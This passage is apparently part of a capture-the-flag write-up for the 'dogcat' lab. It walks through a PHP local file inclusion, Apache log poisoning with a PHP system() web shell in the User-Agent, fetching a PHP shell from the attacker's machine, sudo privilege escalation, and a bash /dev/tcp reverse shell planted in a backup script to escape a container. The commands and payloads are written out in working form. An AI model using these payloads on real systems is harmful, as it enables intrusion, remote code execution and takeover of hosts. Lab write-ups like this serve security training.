



The site checks if the “ext” parameter was provided, and if not it adds “.php” by default to our filename:

```
<!DOCTYPE HTML>
<html>

<head>
  <title>dogcat</title>
  <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
  <h1>dogcat</h1>
  <i>a gallery of various dogs or cats</i>

  <div>
    <h2>What would you like to see?</h2>
    <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
    <?php
      function containsStr($str, $substr) {
        return strpos($str, $substr) !== false;
      }
      $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
      if(isset($_GET['view'])) {
        if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
          echo 'Here you go!';
          include $_GET['view'] . $ext;
        } else {
          echo 'Sorry, only dogs or cats are allowed.';
        }
      }
    </div>
  </body>
</html>
```

So now we can just provide the ext parameter with nothing and we will be able to fetch files via the LFI:

10.10.155.33/?view=dog/../../../../etc/passwd&ext=

dogcat

*a gallery of various dogs or cats*


what would you like to see?

A dog

A cat

Here you go!  
root:x0:root/root/bin/bash daemon:x1:daemon/usr/sbin/nologin  
bin:x2:bin/bin/usr/sbin/nologin sys:x3:sys/dev/usr/sbin/nologin sync:x4:sync/bin:/bin/sync games:x5:games/usr/games/usr/sbin/nologin man:x6:man/var/cache/man/usr/sbin/nologin lp:x7:lp/var/spool/lpd/usr/sbin/nologin mail:x8:mail/var/mail/usr/sbin/nologin  
news:x9:news/var/spool/news/usr/sbin/nologin uucp:x10:uucp/var/spool/uucp/usr/sbin/nologin  
proxy:x13:proxy/bin/usr/sbin/nologin www-data:x33:www-data/var/www/usr/sbin/nologin  
backup:x34:backup/var/backups/usr/sbin/nologin list:x38:Mailing List Manager/var/list/usr/sbin/nologin  
irc:x39:ircd/var/run/ircd/usr/sbin/nologin gnats:x41:gnats Bug-Reporting System (admin)/var/lib/gnats/usr/sbin/nologin  
nobody:x65534:nobody/nonexistent/usr/sbin/nologin \_apt:x100:65534/nonexistent:/usr/sbin/nologin

The access log path for Apache is “/var/log/apache2/access.log” so let’s try to load it as it might have more info on which parameters are being logged:

 [view-source:http://10.10.155.33/?view=dog/../../../../../../var/log/apache2/access.log&ext=](http://10.10.155.33/?view=dog/../../../../../../var/log/apache2/access.log&ext=)

We can see as we scroll down through the logs that next to the route there is the User-Agent parameter. We can insert a small php script to later use the log for code execution:


```
1 <!DOCTYPE HTML>
2 <html>
3
4 <head>
5   <title>dogcat</title>
6   <link rel="stylesheet" type="text/css" href="/style.css">
7 </head>
8
9 <body>
10  <h1>dogcat</h1>
11  <i>a gallery of various dogs or cats</i>
12
13  <div>
14    <h2>What would you like to see?</h2>
15    <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
16    Here you go!127.0.0.1 - - [20/Feb/2022:12:23:03 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
17 127.0.0.1 - - [20/Feb/2022:12:23:37 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
18 127.0.0.1 - - [20/Feb/2022:12:24:14 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
19 127.0.0.1 - - [20/Feb/2022:12:24:51 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
20 127.0.0.1 - - [20/Feb/2022:12:25:22 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
21 127.0.0.1 - - [20/Feb/2022:12:25:52 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
22 127.0.0.1 - - [20/Feb/2022:12:26:23 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
23 127.0.0.1 - - [20/Feb/2022:12:26:53 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
24 127.0.0.1 - - [20/Feb/2022:12:27:23 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
25 127.0.0.1 - - [20/Feb/2022:12:27:54 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
26 127.0.0.1 - - [20/Feb/2022:12:28:24 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
27 127.0.0.1 - - [20/Feb/2022:12:28:55 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
28 127.0.0.1 - - [20/Feb/2022:12:29:25 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
29 127.0.0.1 - - [20/Feb/2022:12:29:55 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
30 127.0.0.1 - - [20/Feb/2022:12:30:26 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
31 127.0.0.1 - - [20/Feb/2022:12:30:56 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
32 127.0.0.1 - - [20/Feb/2022:12:31:26 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
33 127.0.0.1 - - [20/Feb/2022:12:31:57 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
34 127.0.0.1 - - [20/Feb/2022:12:32:27 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
35 127.0.0.1 - - [20/Feb/2022:12:32:57 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
36 127.0.0.1 - - [20/Feb/2022:12:33:28 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
37 127.0.0.1 - - [20/Feb/2022:12:33:58 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
38 127.0.0.1 - - [20/Feb/2022:12:34:29 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
39 127.0.0.1 - - [20/Feb/2022:12:34:59 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
40 127.0.0.1 - - [20/Feb/2022:12:35:29 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
41 127.0.0.1 - - [20/Feb/2022:12:36:00 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
42 127.0.0.1 - - [20/Feb/2022:12:36:30 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
43
```

```
(root@koelhosec)~[/home/tryhackme/dogcat]
# curl "http://10.10.155.33/" -H "User-Agent: <?php system($_GET['c']); ?>"
<!DOCTYPE HTML>
```

When the log page is reloaded, right at the bottom we should see our curl command:

```
127.0.0.1 - - [20/Feb/2022:13:16:28 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [20/Feb/2022:13:16:59 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.6.56.110 - - [20/Feb/2022:13:17:00 +0000] "GET / HTTP/1.1" 200 615 "-" "<br />
<b>Warning</b>: system(): Cannot execute a blank command in <b>/var/log/apache2/access.log</b> on line <b>167</b><br />
```

We now have command execution via the ‘c’ parameter:


 [view-source:http://10.10.155.33/?view=dog/../../../../../../var/log/apache2/access.log&ext&c=id](http://10.10.155.33/?view=dog/../../../../../../var/log/apache2/access.log&ext&c=id)

```
[20/Feb/2022:13:17:00 +0000] "GET / HTTP/1.1" 200 615 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)"
```

Now we can upload a simple php shell, serving the file via python server on our machine, and using the curl command on the target:

```
(root@koelhosec)~[/home/tryhackme/dogcat]
# ls
index.php  nmap.txt  phpshell.php

(root@koelhosec)~[/home/tryhackme/dogcat]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

 [view-source:http://10.10.155.33/?view=dog/../../../../../../var/log/apache2/access.log&ext&c=curl http://10.6.56.110:80/phpshell.php -o shelly.php](http://10.10.155.33/?view=dog/../../../../../../var/log/apache2/access.log&ext&c=curl http://10.6.56.110:80/phpshell.php -o shelly.php)



And we have root!

```
$ sudo /usr/bin/env /bin/bash
whoami
root
```

The third flag is in the /root folder:

```
cd /root
ls
flag3.txt
cat flag3.txt
```

Now for the last flag, we move into the folder above and the .dockerenv file shows that we are actually inside a docker container... so we have to get a shell in the parent machine that is running this container.

```
cd ..
ls -la
total 80
drwxr-xr-x  1 root root 4096 Feb 20 12:22 .
drwxr-xr-x  1 root root 4096 Feb 20 12:22 ..
-rwxr-xr-x  1 root root    0 Feb 20 12:22 .dockerenv
drwxr-xr-x  1 root root 4096 Feb 26 2020 bin
drwxr-xr-x  2 root root 4096 Feb  1 2020 boot
drwxr-xr-x  5 root root 340 Feb 20 12:22 dev
```

Going into the /opt folder we find a script that is being run in the parent machine:

```
cd /opt
ls
backups
cd backups
ls
backup.sh
backup.tar
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```

So we can add the commands below to add a bash reverse shell and get a connection in our machine:

```
echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.6.56.110/4567 0>&1'" >> backup.sh
```

With the netcat listener we should get a shell back within a few minutes, and find the final flag!

```
(root@koelhosec)-[/home/tryhackme/dogcat]
# nc -nlvp 4567
listening on [any] 4567 ...
connect to [10.6.56.110] from (UNKNOWN) [10.10.155.33] 43000
bash: cannot set terminal process group (6751): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# ls
ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
root@dogcat:~#
```